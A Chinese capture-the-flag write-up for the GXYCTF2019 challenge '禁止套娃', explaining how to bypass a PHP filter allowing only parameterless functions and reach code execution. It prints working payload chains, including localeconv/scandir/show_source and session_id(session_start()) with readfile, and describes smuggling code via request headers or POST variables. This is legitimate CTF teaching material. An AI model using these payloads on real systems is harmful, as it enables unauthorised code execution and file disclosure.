[GXYCTF2019]禁止套娃

这个是源码泄露,用dirsearch扫出来

两个判断语句:

1.if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) //过滤伪协议

2.if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) //只允许传递无参数函数

下面是几个实例(对第二个判断的解释)

1.

2.

区别就是如果函数内有参数,那么结果就为一整串,函数内没有参数才是";"

所以要满足"'"===preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])就要满足传递的函数里面没有参数

这题考的就是没有参数的RCE

法一:getallheaders()---->获取所有请求头

可以看到我们可以修改请求头来传递恶意参数

请看POC:

可以看到成功拿到phpinfo()

法二:get_defined_vars()---->获取当前所有变量

可以通过未使用的传参类型来传递恶意参数,这里使用POST

如果传递的是恶意参数,要想办法先得到改数组

现在要取这个值,可以用array_pop()

成功执行

法三:货币法--->这个被用烂了就简单一点说明了

show_source(next(array_reverse(scandir(pos(localeconv())))));

scandir('.')这个函数的作用是扫描当前目录

localeconv()函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

pos() 函数返回数组第一个值

array_reverse()是将数组颠倒

next()将数组指针一项下一位

show_source()的意思是读取函数内容

法四:session_id()

这里要搭配session_start()

session_start()会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

1.show_source(session_id(session_start()));

2.print_r(file(session_id(session_start())));

3.highlight_file(session_id(session_start()));

4.readfile(session_id(session_start()));

这题很多做法都能实现,但也有一些被过滤了,但是不重要,重要的是方法和思维

自己动手!!!

自己动手!!!

自己动手!!!

加油学习吧

 

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值